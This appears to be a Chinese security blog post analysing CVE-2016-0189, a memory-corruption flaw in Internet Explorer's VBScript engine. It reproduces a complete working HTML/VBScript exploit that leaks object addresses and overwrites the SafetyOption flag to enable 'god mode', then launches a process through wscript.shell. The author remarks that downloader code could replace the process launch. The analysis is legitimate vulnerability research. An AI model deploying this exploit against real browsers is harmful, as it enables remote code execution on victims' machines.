CVE-2016-0189

IE CVE-2016-0189远程执行漏洞分析

作者: 被遗弃的庸才

一、前言

IE CVE-2016-0189是通过Microsoft发布的MS16-051的补丁程序进行对比之后发现的,随后漏洞被韩国用于APT攻击。出现漏洞的原因是在vbs解析引擎中,数组中指定下标时会调用vbscript!AccessArray中的vbscript!rtVariantChangeTypeEx函数,vbscript!rtVariantChangeTypeEx函数并没有实现而是调用了oleaut32!VariantChangeTypeEx函数,在这个函数中会检查传入的索引类型,如果不是整数型就会调用valueof方法,进行类型转化,注意这里的valeueof是可以被重载的(这里就可以做一些猥琐的事情)。如果我们在重载的valueof函数中减小数组的大小,内存就会被释放,这时立刻申请内存,数组被释放的部分就可能被再次占用(但是数组的访问还是原始的大小,我们就可以构造任意地址的读写)。这里是先定义一个比较大的二维数组A(1, 2000),接着给A(arg1, 2)赋值,首先会去调用重载的valueof函数,函数中会修改A数组的大小,接着就立刻申请内存进行占位,最后返回1。对aw.A(arg1, 2)赋值就会变成对aw.A(1, 2)赋值,而且A数组的A(1,1)之后的内存已经被释放又被构造的内存重新占用了。

在这里插入图片描述在这里插入图片描述
在这里插入图片描述

二、漏洞复现

<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
    <script type="text/vbscript">
        Dim aw
        Dim plunge(32)
        Dim y(32)
        prefix = "%u4141%u4141"
        d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
        b = String(64000, "D")
        c = d & b
        x = UnEscape(c)

        Class ArrayWrapper
            Dim A()
            Private Sub Class_Initialize
                ' 2x2000 elements x 16 bytes / element = 64000 bytes
                ReDim Preserve A(1, 2000)
            End Sub

            Public Sub Resize()
                ReDim Preserve A(1, 1)
            End Sub
        End Class

        Class Dummy
        End Class

        Function getAddr (arg1, s)
            aw = Null
            Set aw = New ArrayWrapper

            For i = 0 To 32
                Set plunge(i) = s
            Next

            Set aw.A(arg1, 2) = s

            Dim addr
            Dim i
            For i = 0 To 31
                If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
                    addr = strToInt(Mid(y(i), 3 + 4, 2))
                End If
                y(i) = Null
            Next

            If addr = Null Then
                document.location.href = document.location.href
                Return
            End If

            getAddr = addr
        End Function

        Function leakMem (arg1, addr)
            d = prefix & "%u0008%u4141%u4141%u4141"
            c = d & intToStr(addr) & b
            x = UnEscape(c)

            aw = Null
            Set aw = New ArrayWrapper

            Dim o
            o = aw.A(arg1, 2)

            leakMem = o
        End Function

        Sub overwrite (arg1, addr)
            d = prefix & "%u400C%u0000%u0000%u0000"
            c = d & intToStr(addr) & b
            x = UnEscape(c)

            aw = Null
            Set aw = New ArrayWrapper

            ' Single has vartype of 0x04
            aw.A(arg1, 2) = CSng(0)
        End Sub

        Function exploit (arg1)
            Dim addr
            Dim csession
            Dim olescript
            Dim mem

            ' Create a vbscript class instance
            Set dm = New Dummy
            ' Get address of the class instance
            addr = getAddr(arg1, dm)
            ' Leak CSession address from class instance
            mem = leakMem(arg1, addr + 8)
            csession = strToInt(Mid(mem, 3, 2))
            ' Leak COleScript address from CSession instance
            mem = leakMem(arg1, csession + 4)
            olescript = strToInt(Mid(mem, 1, 2))
            ' Overwrite SafetyOption in COleScript (e.g. god mode)
            ' e.g. changes it to 0x04 which is not in 0x0B mask
            overwrite arg1, olescript + &H174
			set obj = createobject("wscript.shell")
			obj.run("notepad")
        End Function

        Function triggerBug
            ' Resize array we are currently indexing
            aw.Resize()

            ' Overlap freed array area with our exploit string
            Dim i
            For i = 0 To 32
                ' 24000x2 + 6 = 48006 bytes
                y(i) = Mid(x, 1, 24000)
            Next
        End Function
    </script>

    <script type="text/javascript">
        function strToInt(s)
        {
            return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
        }
        function intToStr(x)
        {
            return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
        }
        var o;
        o = {"valueOf": function () {
                triggerBug();
                return 1;
            }};
        setTimeout(function() {exploit(o);}, 50);
    </script>
</body>
</html>

在本地虚拟机上面就成功执行poc了
在这里插入图片描述

三、漏洞分析

看一看会用到的结构体,虽然看起来很长但是只有0x10个字节,这里是各个类型的定义https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/3fe7db9f-5803-4dc4-9d14-5425d3f5461f。

typedef struct tagVARIANT {
  union {
    struct {
      VARTYPE vt;
      WORD    wReserved1;
      WORD    wReserved2;
      WORD    wReserved3;
      union {
        LONGLONG     llVal;
        LONG         lVal;
        BYTE         bVal;
        SHORT        iVal;
        FLOAT        fltVal;
        DOUBLE       dblVal;
        VARIANT_BOOL boolVal;
        VARIANT_BOOL __OBSOLETE__VARIANT_BOOL;
        SCODE        scode;
        CY           cyVal;
        DATE         date;
        BSTR         bstrVal;
        IUnknown     *punkVal;
        IDispatch    *pdispVal;
        SAFEARRAY    *parray;
        BYTE         *pbVal;
        SHORT        *piVal;
        LONG         *plVal;
        LONGLONG     *pllVal;
        FLOAT        *pfltVal;
        DOUBLE       *pdblVal;
        VARIANT_BOOL *pboolVal;
        VARIANT_BOOL *__OBSOLETE__VARIANT_PBOOL;
        SCODE        *pscode;
        CY           *pcyVal;
        DATE         *pdate;
        BSTR         *pbstrVal;
        IUnknown     **ppunkVal;
        IDispatch    **ppdispVal;
        SAFEARRAY    **pparray;
        VARIANT      *pvarVal;
        PVOID        byref;
        CHAR         cVal;
        USHORT       uiVal;
        ULONG        ulVal;
        ULONGLONG    ullVal;
        INT          intVal;
        UINT         uintVal;
        DECIMAL      *pdecVal;
        CHAR         *pcVal;
        USHORT       *puiVal;
        ULONG        *pulVal;
        ULONGLONG    *pullVal;
        INT          *pintVal;
        UINT         *puintVal;
        struct {
          PVOID       pvRecord;
          IRecordInfo *pRecInfo;
        } __VARIANT_NAME_4;
      } __VARIANT_NAME_3;
    } __VARIANT_NAME_2;
    DECIMAL decVal;
  } __VARIANT_NAME_1;
} VARIANT;

这里首先分析一下获取地址,这里的s代表的是Dummy类,其中这个类是空的没有具体实现的函数。plunge(i)是用来占用一些空隙内存的,这里在调用A(arg1, 2)时会触发valueOf,会释放内存后申请内存,其中x是精心构造的,为了得到类对象的地址,x前面的0x41是为了方便找到这个块内存。查找的方式是判断存储在A(1,2)的对象的,是否在申请的内存内,从而出现错位和2014-6332的错位几乎是一样的,可以看下图的windbg的内存布局。

prefix = "%u4141%u4141"
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
b = String(64000, "D")
c = d & b
x = UnEscape(c)

Function triggerBug
    ' Resize array we are currently indexing
    aw.Resize()

    ' Overlap freed array area with our exploit string
    Dim i
    For i = 0 To 32
        ' 24000x2 + 6 = 48006 bytes
        y(i) = Mid(x, 1, 24000)
    Next
End Function
o = {"valueOf": function () {
    triggerBug();
    return 1;
    }};
    
    Set dm = New Dummy
    ' Get address of the class instance
    addr = getAddr(arg1, dm)    
...............
Function getAddr (arg1, s)
    aw = Null
    Set aw = New ArrayWrapper

    For i = 0 To 32
        Set plunge(i) = s
    Next

    Set aw.A(arg1, 2) = s

    Dim addr
    Dim i
    For i = 0 To 31
        If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
            addr = strToInt(Mid(y(i), 3 + 4, 2))
        End If
        y(i) = Null
    Next

    If addr = Null Then
        document.location.href = document.location.href
        Return
    End If

    getAddr = addr
End Function

我们想要的是下面的这种情况,A和f(x)是相邻的。

在这里插入图片描述

这里下断点的方式bp vbscript!VbsIsEmpty,这里在addr = strToInt(Mid(y(i), 3 + 4, 2))后面加上IsEmpty(f(i))就能看到如下的内存布局

在这里插入图片描述

好了现在找到我们需要的内存结构和类对象的地址接下来就是得到CSession对象的地址,这里的构造了一个0x8的数据类型也就是BSTR(string),同时可以从上图看出该结构为4字节的字符串长度+字符+两个字节的00(上图看不见,用来标记结尾的)。

在这里插入图片描述

之后利用同样的方式构造出字符串的的数据类型,这里用一个问题就是为什么要+8在strToInt(Mid(mem, 3, 2)),既然csession对象在0xc的位置直接leakMem(arg1, addr + c)在csession = strToInt(Mid(mem, 1, 2))不是一样的吗?我们从内存的角度来看一看为什么不行。

mem = leakMem(arg1, addr + 8)
csession = strToInt(Mid(mem, 3, 2))
csession = strToInt(Mid(mem, 3, 2))
mem = leakMem(arg1, csession + 4)
olescript = strToInt(Mid(mem, 1, 2))
Function leakMem (arg1, addr)
    d = prefix & "%u0008%u4141%u4141%u4141"
    c = d & intToStr(addr) & b
    x = UnEscape(c)

    aw = Null
    Set aw = New ArrayWrapper

    Dim o
    o = aw.A(arg1, 2)

    leakMem = o
End Function

老规矩可以在o = aw.A(arg1, 2)后面加上一个IsEmpty(y(0))并下断,断下之后可以看到下面的内存

在这里插入图片描述

最后就是构造写,可以从代码中看出把类型构造为0x400c之后给olescript对象加上0x174的赋值为0,那么我们还是一样添加IsEmpty(y(0))之后下断,但是会有一个问题就是拿到的是f(0)并不是我们想要的,主要原因是f(0)在内存中不是和A数组紧挨,所以我们这里添加一些代码来确认这里的A和f(0)是相邻的。

overwrite arg1, olescript + &H174
Sub overwrite (arg1, addr)
     d = prefix & "%u400C%u0000%u0000%u0000"
     c = d & intToStr(addr) & b
     x = UnEscape(c)

aw = Null
Set aw = New ArrayWrapper

' Single has vartype of 0x04
IsEmpty(y(0))
aw.A(arg1, 2) = CSng(0)
End Sub

我是添加的代码
Sub overwrite (arg1, addr)
    d = prefix & "%u400C%u0000%u0000%u0000"
    c = d & intToStr(addr) & b
    x = UnEscape(c)

    aw = Null
    Set aw = New ArrayWrapper


    aw.A(arg1, 2) = CSng(0)

    Dim i
    For i = 0 To 32
        If Asc(Mid(y(i), 3, 1)) <> &h8 Then
            IsEmpty(y(i))
        End If
    Next


End Sub




这里可以看到将目标地址修改为4关闭了safemode,开启上帝模式,之后添加一些vb代码打开notepad,当然这vb代码可以换成其他downloader的代码。

在这里插入图片描述

aw = Null
Set aw = New ArrayWrapper


aw.A(arg1, 2) = CSng(0)

Dim i
For i = 0 To 32
    If Asc(Mid(y(i), 3, 1)) <> &h8 Then
        IsEmpty(y(i))
    End If
Next
End Sub

这里可以看到将目标地址修改为4关闭了safemode,开启上帝模式,之后添加一些vb代码打开notepad,当然这vb代码可以换成其他downloader的代码。
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值